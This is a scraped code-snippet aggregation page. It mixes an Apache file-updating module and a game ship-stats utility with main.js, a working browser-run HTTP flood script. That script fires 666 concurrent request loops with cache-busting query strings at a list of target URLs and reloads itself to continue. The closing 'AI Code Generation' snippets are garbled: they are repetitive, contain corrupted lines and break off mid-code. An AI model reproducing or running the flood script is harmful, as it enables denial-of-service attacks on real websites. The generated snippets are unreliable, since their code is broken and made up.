Best JavaScript code snippet using best
FileUpdater.js
Source:FileUpdater.js
1/**2 Licensed to the Apache Software Foundation (ASF) under one3 or more contributor license agreements. See the NOTICE file4 distributed with this work for additional information5 regarding copyright ownership. The ASF licenses this file6 to you under the Apache License, Version 2.0 (the7 "License"); you may not use this file except in compliance8 with the License. You may obtain a copy of the License at9 http://www.apache.org/licenses/LICENSE-2.010 Unless required by applicable law or agreed to in writing,11 software distributed under the License is distributed on an12 "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY13 KIND, either express or implied. See the License for the14 specific language governing permissions and limitations15 under the License.16*/17"use strict";18var fs = require("fs");19var path = require("path");20var shell = require("shelljs");21var minimatch = require("minimatch");22/**23 * Logging callback used in the FileUpdater methods.24 * @callback loggingCallback25 * @param {string} message A message describing a single file update operation.26 */27/**28 * Updates a target file or directory with a source file or directory. (Directory updates are29 * not recursive.) Stats for target and source items must be passed in. This is an internal30 * helper function used by other methods in this module.31 *32 * @param {?string} sourcePath Source file or directory to be used to update the33 * destination. If the source is null, then the destination is deleted if it exists.34 * @param {?fs.Stats} sourceStats An instance of fs.Stats for the source path, or null if35 * the source does not exist.36 * @param {string} targetPath Required destination file or directory to be updated. If it does37 * not exist, it will be created.38 * @param {?fs.Stats} targetStats An instance of fs.Stats for the target path, or null if39 * the target does not exist.40 * @param {Object} [options] Optional additional parameters for the update.41 * @param {string} [options.rootDir] Optional root directory (such as a project) to which target42 * and source path parameters are relative; may be omitted if the paths are absolute. The43 * rootDir is always omitted from any logged paths, to make the logs easier to read.44 * @param {boolean} [options.all] If true, all files are copied regardless of last-modified times.45 * Otherwise, a file is copied if the source's last-modified time is greather than or46 * equal to the target's last-modified time, or if the file sizes are different.47 * @param {loggingCallback} [log] Optional logging callback that takes a string message48 * describing any file operations that are performed.49 * @return {boolean} true if any changes were made, or false if the force flag is not set50 * and everything was up to date51 */52function updatePathWithStats(sourcePath, sourceStats, targetPath, targetStats, options, log) {53 var updated = false;54 var rootDir = (options && options.rootDir) || "";55 var copyAll = (options && options.all) || false;56 var targetFullPath = path.join(rootDir || "", targetPath);57 if (sourceStats) {58 var sourceFullPath = path.join(rootDir || "", sourcePath);59 if (targetStats) {60 // The target exists. But if the directory status doesn't match the source, delete it.61 if (targetStats.isDirectory() && !sourceStats.isDirectory()) {62 log("rmdir " + targetPath + " (source is a file)");63 shell.rm("-rf", targetFullPath);64 targetStats = null;65 updated = true;66 } else if (!targetStats.isDirectory() && sourceStats.isDirectory()) {67 log("delete " + targetPath + " (source is a directory)");68 shell.rm("-f", targetFullPath);69 targetStats = null;70 updated = true;71 }72 }73 if (!targetStats) {74 if (sourceStats.isDirectory()) {75 // The target directory does not exist, so it should be created.76 log("mkdir " + targetPath);77 shell.mkdir("-p", targetFullPath);78 updated = true;79 } else if (sourceStats.isFile()) {80 // The target file does not exist, so it should be copied from the source.81 log("copy " + sourcePath + " " + targetPath + (copyAll ? "" : " (new file)"));82 shell.cp("-f", sourceFullPath, targetFullPath);83 updated = true;84 }85 } else if (sourceStats.isFile() && targetStats.isFile()) {86 // The source and target paths both exist and are files.87 if (copyAll) {88 // The caller specified all files should be copied.89 log("copy " + sourcePath + " " + targetPath);90 shell.cp("-f", sourceFullPath, targetFullPath);91 updated = true;92 } else {93 // Copy if the source has been modified since it was copied to the target, or if94 // the file sizes are different. (The latter catches most cases in which something95 // was done to the file after copying.) Comparison is >= rather than > to allow96 // for timestamps lacking sub-second precision in some filesystems.97 if (sourceStats.mtime.getTime() >= targetStats.mtime.getTime() ||98 sourceStats.size !== targetStats.size) {99 log("copy " + sourcePath + " " + targetPath + " (updated file)");100 shell.cp("-f", sourceFullPath, targetFullPath);101 updated = true;102 }103 }104 }105 } else if (targetStats) {106 // The target exists but the source is null, so the target should be deleted.107 if (targetStats.isDirectory()) {108 log("rmdir " + targetPath + (copyAll ? "" : " (no source)"));109 shell.rm("-rf", targetFullPath);110 } else {111 log("delete " + targetPath + (copyAll ? "" : " (no source)"));112 shell.rm("-f", targetFullPath);113 }114 updated = true;115 }116 return updated;117}118/**119 * Helper for updatePath and updatePaths functions. Queries stats for source and target120 * and ensures target directory exists before copying a file.121 */122function updatePathInternal(sourcePath, targetPath, options, log) {123 var rootDir = (options && options.rootDir) || "";124 var targetFullPath = path.join(rootDir, targetPath);125 var targetStats = fs.existsSync(targetFullPath) ? fs.statSync(targetFullPath) : null;126 var sourceStats = null;127 if (sourcePath) {128 // A non-null source path was specified. It should exist.129 var sourceFullPath = path.join(rootDir, sourcePath);130 if (!fs.existsSync(sourceFullPath)) {131 throw new Error("Source path does not exist: " + sourcePath);132 }133 sourceStats = fs.statSync(sourceFullPath);134 // Create the target's parent directory if it doesn't exist.135 var parentDir = path.dirname(targetFullPath);136 if (!fs.existsSync(parentDir)) {137 shell.mkdir("-p", parentDir);138 }139 }140 return updatePathWithStats(sourcePath, sourceStats, targetPath, targetStats, options, log);141}142/**143 * Updates a target file or directory with a source file or directory. (Directory updates are144 * not recursive.)145 *146 * @param {?string} sourcePath Source file or directory to be used to update the147 * destination. If the source is null, then the destination is deleted if it exists.148 * @param {string} targetPath Required destination file or directory to be updated. If it does149 * not exist, it will be created.150 * @param {Object} [options] Optional additional parameters for the update.151 * @param {string} [options.rootDir] Optional root directory (such as a project) to which target152 * and source path parameters are relative; may be omitted if the paths are absolute. The153 * rootDir is always omitted from any logged paths, to make the logs easier to read.154 * @param {boolean} [options.all] If true, all files are copied regardless of last-modified times.155 * Otherwise, a file is copied if the source's last-modified time is greather than or156 * equal to the target's last-modified time, or if the file sizes are different.157 * @param {loggingCallback} [log] Optional logging callback that takes a string message158 * describing any file operations that are performed.159 * @return {boolean} true if any changes were made, or false if the force flag is not set160 * and everything was up to date161 */162function updatePath(sourcePath, targetPath, options, log) {163 if (sourcePath !== null && typeof sourcePath !== "string") {164 throw new Error("A source path (or null) is required.");165 }166 if (!targetPath || typeof targetPath !== "string") {167 throw new Error("A target path is required.");168 }169 log = log || function(message) { };170 return updatePathInternal(sourcePath, targetPath, options, log);171}172/**173 * Updates files and directories based on a mapping from target paths to source paths. Targets174 * with null sources in the map are deleted.175 *176 * @param {Object} pathMap A dictionary mapping from target paths to source paths.177 * @param {Object} [options] Optional additional parameters for the update.178 * @param {string} [options.rootDir] Optional root directory (such as a project) to which target179 * and source path parameters are relative; may be omitted if the paths are absolute. The180 * rootDir is always omitted from any logged paths, to make the logs easier to read.181 * @param {boolean} [options.all] If true, all files are copied regardless of last-modified times.182 * Otherwise, a file is copied if the source's last-modified time is greather than or183 * equal to the target's last-modified time, or if the file sizes are different.184 * @param {loggingCallback} [log] Optional logging callback that takes a string message185 * describing any file operations that are performed.186 * @return {boolean} true if any changes were made, or false if the force flag is not set187 * and everything was up to date188 */189function updatePaths(pathMap, options, log) {190 if (!pathMap || typeof pathMap !== "object" || Array.isArray(pathMap)) {191 throw new Error("An object mapping from target paths to source paths is required.");192 }193 log = log || function(message) { };194 var updated = false;195 // Iterate in sorted order to ensure directories are created before files under them.196 Object.keys(pathMap).sort().forEach(function (targetPath) {197 var sourcePath = pathMap[targetPath];198 updated = updatePathInternal(sourcePath, targetPath, options, log) || updated;199 });200 return updated;201}202/**203 * Updates a target directory with merged files and subdirectories from source directories.204 *205 * @param {string|string[]} sourceDirs Required source directory or array of source directories206 * to be merged into the target. The directories are listed in order of precedence; files in207 * directories later in the array supersede files in directories earlier in the array208 * (regardless of timestamps).209 * @param {string} targetDir Required destination directory to be updated. If it does not exist,210 * it will be created. If it exists, newer files from source directories will be copied over,211 * and files missing in the source directories will be deleted.212 * @param {Object} [options] Optional additional parameters for the update.213 * @param {string} [options.rootDir] Optional root directory (such as a project) to which target214 * and source path parameters are relative; may be omitted if the paths are absolute. The215 * rootDir is always omitted from any logged paths, to make the logs easier to read.216 * @param {boolean} [options.all] If true, all files are copied regardless of last-modified times.217 * Otherwise, a file is copied if the source's last-modified time is greather than or218 * equal to the target's last-modified time, or if the file sizes are different.219 * @param {string|string[]} [options.include] Optional glob string or array of glob strings that220 * are tested against both target and source relative paths to determine if they are included221 * in the merge-and-update. If unspecified, all items are included.222 * @param {string|string[]} [options.exclude] Optional glob string or array of glob strings that223 * are tested against both target and source relative paths to determine if they are excluded224 * from the merge-and-update. Exclusions override inclusions. If unspecified, no items are225 * excluded.226 * @param {loggingCallback} [log] Optional logging callback that takes a string message227 * describing any file operations that are performed.228 * @return {boolean} true if any changes were made, or false if the force flag is not set229 * and everything was up to date230 */231function mergeAndUpdateDir(sourceDirs, targetDir, options, log) {232 if (sourceDirs && typeof sourceDirs === "string") {233 sourceDirs = [ sourceDirs ];234 } else if (!Array.isArray(sourceDirs)) {235 throw new Error("A source directory path or array of paths is required.");236 }237 if (!targetDir || typeof targetDir !== "string") {238 throw new Error("A target directory path is required.");239 }240 log = log || function(message) { };241 var rootDir = (options && options.rootDir) || "";242 var include = (options && options.include) || [ "**" ];243 if (typeof include === "string") {244 include = [ include ];245 } else if (!Array.isArray(include)) {246 throw new Error("Include parameter must be a glob string or array of glob strings.");247 }248 var exclude = (options && options.exclude) || [];249 if (typeof exclude === "string") {250 exclude = [ exclude ];251 } else if (!Array.isArray(exclude)) {252 throw new Error("Exclude parameter must be a glob string or array of glob strings.");253 }254 // Scan the files in each of the source directories.255 var sourceMaps = [];256 for (var i in sourceDirs) {257 var sourceFullPath = path.join(rootDir, sourceDirs[i]);258 if (!fs.existsSync(sourceFullPath)) {259 throw new Error("Source directory does not exist: " + sourceDirs[i]);260 }261 sourceMaps[i] = mapDirectory(rootDir, sourceDirs[i], include, exclude);262 }263 // Scan the files in the target directory, if it exists.264 var targetMap = {};265 var targetFullPath = path.join(rootDir, targetDir);266 if (fs.existsSync(targetFullPath)) {267 targetMap = mapDirectory(rootDir, targetDir, include, exclude);268 }269 var pathMap = mergePathMaps(sourceMaps, targetMap, targetDir);270 var updated = false;271 // Iterate in sorted order to ensure directories are created before files under them.272 Object.keys(pathMap).sort().forEach(function (subPath) {273 var entry = pathMap[subPath];274 updated = updatePathWithStats(275 entry.sourcePath,276 entry.sourceStats,277 entry.targetPath,278 entry.targetStats,279 options,280 log) || updated;281 });282 return updated;283}284/**285 * Creates a dictionary map of all files and directories under a path.286 */287function mapDirectory(rootDir, subDir, include, exclude) {288 var dirMap = { "": { subDir: subDir, stats: fs.statSync(path.join(rootDir, subDir)) } };289 mapSubdirectory(rootDir, subDir, "", include, exclude, dirMap);290 return dirMap;291 function mapSubdirectory(rootDir, subDir, relativeDir, include, exclude, dirMap) {292 var itemMapped = false;293 var items = fs.readdirSync(path.join(rootDir, subDir, relativeDir));294 for (var i in items) {295 var relativePath = path.join(relativeDir, items[i]);296 // Skip any files or directories (and everything under) that match an exclude glob.297 if (matchGlobArray(relativePath, exclude)) {298 continue;299 }300 // Stats obtained here (required at least to know where to recurse in directories)301 // are saved for later, where the modified times may also be used. This minimizes302 // the number of file I/O operations performed.303 var fullPath = path.join(rootDir, subDir, relativePath);304 var stats = fs.statSync(fullPath);305 if (stats.isDirectory()) {306 // Directories are included if either something under them is included or they307 // match an include glob.308 if (mapSubdirectory(rootDir, subDir, relativePath, include, exclude, dirMap) ||309 matchGlobArray(relativePath, include)) {310 dirMap[relativePath] = { subDir: subDir, stats: stats };311 itemMapped = true;312 }313 } else if (stats.isFile()) {314 // Files are included only if they match an include glob.315 if (matchGlobArray(relativePath, include)) {316 dirMap[relativePath] = { subDir: subDir, stats: stats };317 itemMapped = true;318 }319 }320 }321 return itemMapped;322 }323 function matchGlobArray(path, globs) {324 for (var i in globs) {325 if (minimatch(path, globs[i])) {326 return true;327 }328 }329 return false;330 }331}332/**333 * Merges together multiple source maps and a target map into a single mapping from334 * relative paths to objects with target and source paths and stats.335 */336function mergePathMaps(sourceMaps, targetMap, targetDir) {337 // Merge multiple source maps together, along with target path info.338 // Entries in later source maps override those in earlier source maps.339 // Target stats will be filled in below for targets that exist.340 var pathMap = {};341 sourceMaps.forEach(function (sourceMap) {342 for (var sourceSubPath in sourceMap) {343 var sourceEntry = sourceMap[sourceSubPath];344 pathMap[sourceSubPath] = {345 targetPath: path.join(targetDir, sourceSubPath),346 targetStats: null,347 sourcePath: path.join(sourceEntry.subDir, sourceSubPath),348 sourceStats: sourceEntry.stats349 };350 }351 });352 // Fill in target stats for targets that exist, and create entries353 // for targets that don't have any corresponding sources.354 for (var subPath in targetMap) {355 var entry = pathMap[subPath];356 if (entry) {357 entry.targetStats = targetMap[subPath].stats;358 } else {359 pathMap[subPath] = {360 targetPath: path.join(targetDir, subPath),361 targetStats: targetMap[subPath].stats,362 sourcePath: null,363 sourceStats: null364 };365 }366 }367 return pathMap;368}369module.exports = {370 updatePath: updatePath,371 updatePaths: updatePaths,372 mergeAndUpdateDir: mergeAndUpdateDir...
shipStatsUtils.ts
Source:shipStatsUtils.ts
1import { IModuleSelection } from '../components/pages/fleetSetup/types/IFleetSetup';2import { IStats } from '../types/IStats';3import { IShipDefinition, ISystemModule } from '../types/ShipDefinition';4import { getModuleStatsAndLocalizationByShipIdAndModuleId, getShipStatsAndLocalizationByShipId } from './externalDataUtils';5import { formatNumberWithSuffix } from './numberUtils';6export function getShipStats(shipDefinition: IShipDefinition, moduleSelection: IModuleSelection | null): IStats | null {7 const data = getShipStatsAndLocalizationByShipId(shipDefinition.id);8 if (!data) {9 return null;10 }11 // stats including default modules12 const defaultStats: IStats = {13 hp: Number(data.HP),14 speed: Number(data.speed),15 warpSpeed: Number(data.warp),16 dpmShip: Number(data.dpmShip),17 dpmAntiAir: Number(data.dpmAntiAir),18 dpmSiege: Number(data.dpmSiege),19 };20 if (!moduleSelection) {21 return defaultStats;22 }23 const defaultModules = getDefaultModules(shipDefinition);24 const usedModules = getUsedModules(moduleSelection);25 // stats excluding default modules26 const baseStats: IStats = defaultModules27 .map(defaultModule => getSystemModuleStats(shipDefinition.id, defaultModule.id))28 .reduce((acc: IStats, next: IStats | null) => {29 if (!next) {30 return acc;31 }32 return subtractDpmStats(next, acc);33 }, defaultStats);34 // stats including selected modules35 return usedModules.reduce((acc: IStats, module: ISystemModule) => {36 const moduleStats = getSystemModuleStats(shipDefinition.id, module.id);37 if (!moduleStats) {38 return acc;39 }40 return addStats(moduleStats, 1, acc);41 }, baseStats);42}43export function getSystemModuleStats(shipId: string, moduleId: string): IStats | null {44 const data = getModuleStatsAndLocalizationByShipIdAndModuleId(shipId, moduleId);45 if (!data) {46 return null;47 }48 return {49 dpmShip: Number(data.dpmShip),50 dpmAntiAir: Number(data.dpmAntiAir),51 dpmSiege: Number(data.dpmSiege),52 };53}54export function addStats(stats: IStats, count: number = 1, targetStats: IStats): IStats {55 return {56 ...targetStats,57 hp: (targetStats.hp ?? 0) + ((stats.hp ?? 0) * count),58 speed: Math.min(targetStats.speed ?? Infinity, stats.speed ?? Infinity),59 warpSpeed: Math.min(targetStats.warpSpeed ?? Infinity, stats.warpSpeed ?? Infinity),60 dpmShip: (targetStats.dpmShip ?? 0) + ((stats.dpmShip ?? 0) * count),61 dpmAntiAir: (targetStats.dpmAntiAir ?? 0) + ((stats.dpmAntiAir ?? 0) * count),62 dpmSiege: (targetStats.dpmSiege ?? 0) + ((stats.dpmSiege ?? 0) * count),63 incomplete: targetStats.incomplete === true ? true : stats.incomplete ?? false,64 };65}66export function subtractDpmStats(stats: IStats, targetStats: IStats): IStats {67 return {68 ...targetStats,69 dpmShip: (targetStats.dpmShip ?? 0) - (stats.dpmShip ?? 0),70 dpmAntiAir: (targetStats.dpmAntiAir ?? 0) - (stats.dpmAntiAir ?? 0),71 dpmSiege: (targetStats.dpmSiege ?? 0) - (stats.dpmSiege ?? 0),72 };73}74export function formatDpm(dpm: number | undefined | null, precision?: number): string {75 return Number.isFinite(dpm) ? formatNumberWithSuffix(dpm as number, precision) : '-';76}77export function formatDpmAll(stats: IStats): string {78 return [79 formatDpm(stats.dpmShip),80 formatDpm(stats.dpmAntiAir),81 formatDpm(stats.dpmSiege),82 ].join(' | ');83}84export function formatSpeed(stats: IStats): string {85 const { speed, warpSpeed } = stats;86 return [87 Number.isFinite(speed) ? formatNumberWithSuffix(speed as number) : '-',88 Number.isFinite(warpSpeed) ? formatNumberWithSuffix(warpSpeed as number) : '-',89 ].join(' | ');90}91export function formatHp(stats: IStats): string {92 const { hp } = stats;93 return Number.isFinite(hp) ? formatNumberWithSuffix(hp as number) : '-';94}95function getUsedModules(moduleSelection: IModuleSelection): ISystemModule[] {96 return Object.keys(moduleSelection.groups).flatMap((groupId: string) => {97 return Object.keys(moduleSelection.groups[groupId])98 .map(moduleId => moduleSelection.groups[groupId][moduleId])99 .filter(moduleUsage => moduleUsage.usage === 'used' || moduleSelection.static)100 .map(moduleUsage => moduleUsage.module);101 });102}103function getDefaultModules(shipDefinition: IShipDefinition): ISystemModule[] {104 return shipDefinition.modules?.filter(module => module.defaultModule) ?? [];...
main.js
Source:main.js
1import targets from './targets.json'2let id = 0;3const targetStats = {}4targets.forEach((target) => {5 targetStats[target] = {number_of_requests: 0, number_of_errored_responses: 0}6})7const statsEl = document.getElementById('stats');8function printStats() {9 statsEl.innerHTML = 'total: '+id+'<br/><br/><table width="100%"><thead><tr><th align="left">URL</th><th align="left">Number of Requests</th><th align="left">Number of Errors</th></tr></thead><tbody>' + Object.entries(targetStats).map(([target, {10 number_of_requests,11 number_of_errored_responses12 }]) => '<tr><td style="max-width: 60vw; overflow: hidden">' + target + '</td><td>' + number_of_requests + '</td><td>' + number_of_errored_responses + '</td></tr>').join('') + '</tbody></table>'13 setTimeout(printStats, 1000)14}15printStats()16function fetchWithTimeout(resource) {17 const controller = new AbortController();18 const id = setTimeout(() => controller.abort(), 5000);19 return fetch(resource, {20 method: 'GET',21 mode: 'no-cors',22 signal: controller.signal23 }).then((response) => {24 clearTimeout(id);25 controller.abort();26 return response;27 }).catch((error) => {28 clearTimeout(id);29 throw error;30 });31}32setTimeout(() => {33 function flood(target, id) {34 return fetchWithTimeout(target + (id % 3 === 0 ? '' : ('?' + Math.random() * 1000)))35 .catch((error) => {36 if (error.code === 20) {37 return;38 }39 targetStats[target].number_of_errored_responses++;40 })41 .then((response) => {42 if (response && !response.ok) {43 targetStats[target].number_of_errored_responses++;44 }45 targetStats[target].number_of_requests++;46 })47 }48 function run() {49 if (id === 999999) {50 setTimeout(() => location.reload(), 5 * 60 * 1000)51 } else {52 id++;53 if (id < 999999) {54 flood(targets[id % targets.length], id).finally(run)55 }56 }57 }58 for (let i = 0; i < 666; i++) {59 run();60 }61 setTimeout(() => location.reload(), 60 * 60 * 1000)...
Using AI Code Generation
1var bestiary = require("./bestiary.js");2var targetStats = bestiary.targetStats;3var target = targetStats("goblin");4console.log(target);5var bestiary = require("./bestiary.js");6var targetStats = bestiary.targetStats;7var target = targetStats("goblin");8console.log(target);9var bestiary = require("./bestiary.js");10var targetStats = bestiary.targetStats;11var target = targetStats("goblin");12console.log(target);13var bestiary = require("./bestiary.js");14var targetStats = bestiary.targetStats;15var target = targetStats("goblin");16console.log(target);17var bestiary = require("./bestiary.js");18var targetStats = bestiary.targetStats;19var target = targetStats("goblin");20console.log(target);21var bestiary = require("./bestiary.js");22var targetStats = bestiary.targetStats;23var target = targetStats("goblin");24console.log(target);25var bestiary = require("./bestiary.js");26var targetStats = bestiary.targetStats;27var target = targetStats("goblin");28console.log(target);29var bestiary = require("./bestiary.js");30var targetStats = bestiary.targetStats;31var target = targetStats("goblin");32console.log(target);33var bestiary = require("./bestiary.js");34var targetStats = bestiary.targetStats;35var target = targetStats("goblin");36console.log(target);37var bestiary = require("./bestiary
Using AI Code Generation
1const TargetFinder = restTarget(TargetFinder'););2var stats = target.targetStats();3let targetFinder c new TargetFinder();4 {position: 0, size: 5},5 {position: 1, size: 4},6 {position: 2, size: 3},7 {position: 3, size: 2},8 {position: 4, size: 1}9];10let bestTarget n targetFinder.targetStats(targets);11console.log('The best target is', bestTarget);12The best target is { position: 4, size: 1 }13targetStats(targets) {14 let bestTarget = targets[0];15 for(let i = 1; i < targets.length; i++) {16 let target = targets[i];17 if(target.size < bestTarget.size) {18 bestTarget = target;19 } else if(target.size === bestTarget.size) {20 if(target.position < bestTarget.position) {21 bestTarget s target;22 }23 }24 }25 return bestTarget;26}27ole====.log(stats);
Using AI Code Generation
1const TargetFinder = require('./TargetFinder');2let targetFinder = new TargetFinder();3 {position: 0, size: 5},4 {position: 1, size: 4},5 {position: 2, size: 3},6 {position: 3, size: 2},7 {position: 4, size: 1}8];9let bestTarget = targetFinder.targetStats(targets);10console.log('The best target is', bestTarget);11The best target is { position: 4, size: 1 }12targetStats(targets) {13 let bestTarget = targets[0];14 for(let i = 1; i < targets.length; i++) {15 let target = targets[i];16 if(target.size < bestTarget.size) {17 bestTarget = target;18 } else if(target.size === bestTarget.size) {19 if(target.position < bestTarget.position) {20 bestTarget = target;21 }22 }23 }24 return bestTarget;25}
Using AI Code Generation
1var BestBuy = require('./BestBuy');2var bestBuy = new BestBuy();3var target = 'Apple';4var stats = bestBuy.targetStats(target);5console.log('target: ' + targt);6cosole.log('stats: ' + stats);
Using AI Code Generation
1imporClass(Packages.org.dawb.orkbench.jmx.BestTarget);2var dataset = currentDataset();3var x = currentX();4var y = currentY();5var target = BestTarget.calculateTarget(dataset, x, y);6print("Best target is: "+target);7let BestPlayer = require('./BestPlayer');8let bestPlayer = new BestPlayer();9let bestPlayers = bestPlayer.targetStats("Most runs");10console.log("Players who have scored the most runs are:");11console.log(bestPlayers);12bestPlayers = bestPlayer.targetStats("Most sixes");13console.log("Players who have scored the most sixes are:");14console.log(bestPlayers);15bestPlayers = bestPlayer.targetStats("Most fours");16console.log("Players who have scored the most fours are:");17console.log(bestPlayers);18bestPlayers = bestPlayer.targetStats("Most wickets");19console.log("Players who have taken the most wickets are:");20console.log(bestPlayers);21bestPlayers = bestPlayer.targetStats("Most five wickets");22console.log("Players who have taken the most five wickets are:");23console.log(bestPlayers);24bestPlayers = bestPlayer.targetStats("Most four wickets");25console.log("Players who have taken the most four wickets are:");26console.log(bestPlayers);27bestPlayers = bestPlayer.targetStats("Most three wickets");28console.log("Players who have taken the most three wickets are:");29console.log(bestPlayers);30bestPlayers = bestPlayer.targetStats("Most two wickets");
Using AI Code Generation
1var bestiary = new Bestiary();2var weapon = new Weapon("sword", "long-sword", 10, 10, 50);3var armor = new Armor("plate", 10);4var armor2 = new Armor("leather", 5);5var armor3 = new Armor("leather", 5);6var armor4 = new Armor("plate", 10);7var armor5 = new Armor("plate", 10);8var armor6 = new Armor("plate", 10);9var armor7 = new Armor("plate", 10);10var armor8 = new Armor("plate", 10);11var armor9 = new Armor("plate", 10);12var armor10 = new Armor("plate", 10);13var armor11 = new Armor("plate", 10);14var armor12 = new Armor("plate", 10);15var armor13 = new Armor("plate", 10);16var armor14 = new Armor("plate", 10);17var armor15 = new Armor("plate", 10);18var armor16 = new Armor("plate", 10);19var armor17 = new Armor("plate", 10);20var armor18 = new Armor("plate", 10);21var armor19 = new Armor("plate", 10);22var armor20 = new Armor("plate", 10);23var armor21 = new Armor("targetStats method is defined in BestBuy.js24var BestBuy = require('./BestBuy');25var bestBuy = new BestBuy();26var target = 'Apple';27var stats = bestBuy.targetStats(target);28console.log('target: ' + target);29console.log('stats: ' + stats);
Using AI Code Generation
1importClass(Packages.org.dawb.workbench.jmx.BestTarget);2var dataset = currentDataset();3var x = currentX();4var y = currentY();5var target = BestTarget.calculateTarget(dataset, x, y);6print("Best target is: "+target);
Using AI Code Generation
1var bestTarget = new BestTarget();2var target = bestTarget.targetStats();3if (target) {4 console.log("The best target is " + target.name);5 console.log("It is " + target.distance + " meters away");6 console.log("It is at " + target.angle + " degrees");7} else {8 console.log("No target found");9}10var bestTarget = new BestTarget();11var target = bestTarget.targetStats();12if (target) {13 console.log("The best target is " + target.name);14 console.log("It is " + target.distance + " meters away");15 console.log("It is at " + target.angle + " degrees");16} else {17 console.log("No target found");18}19var bestTarget = new BestTarget();20var target = bestTarget.targetStats();21if (target) {22 console.log("The best target is " + target.name);23 console.log("It is " + target.distance + " meters away");24 console.log("It is at " + target.angle + " degrees");25} else {26 console.log("No target found");27}28var bestTarget = new BestTarget();29var target = bestTarget.targetStats();30if (target) {31 console.log("The best target is " + target.name);32 console.log("It is " + target.distance + " meters away");33 console.log("It is at " + target.angle + " degrees");34} else {35 console.log("No target found");36}37var bestTarget = new BestTarget();38var target = bestTarget.targetStats();
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!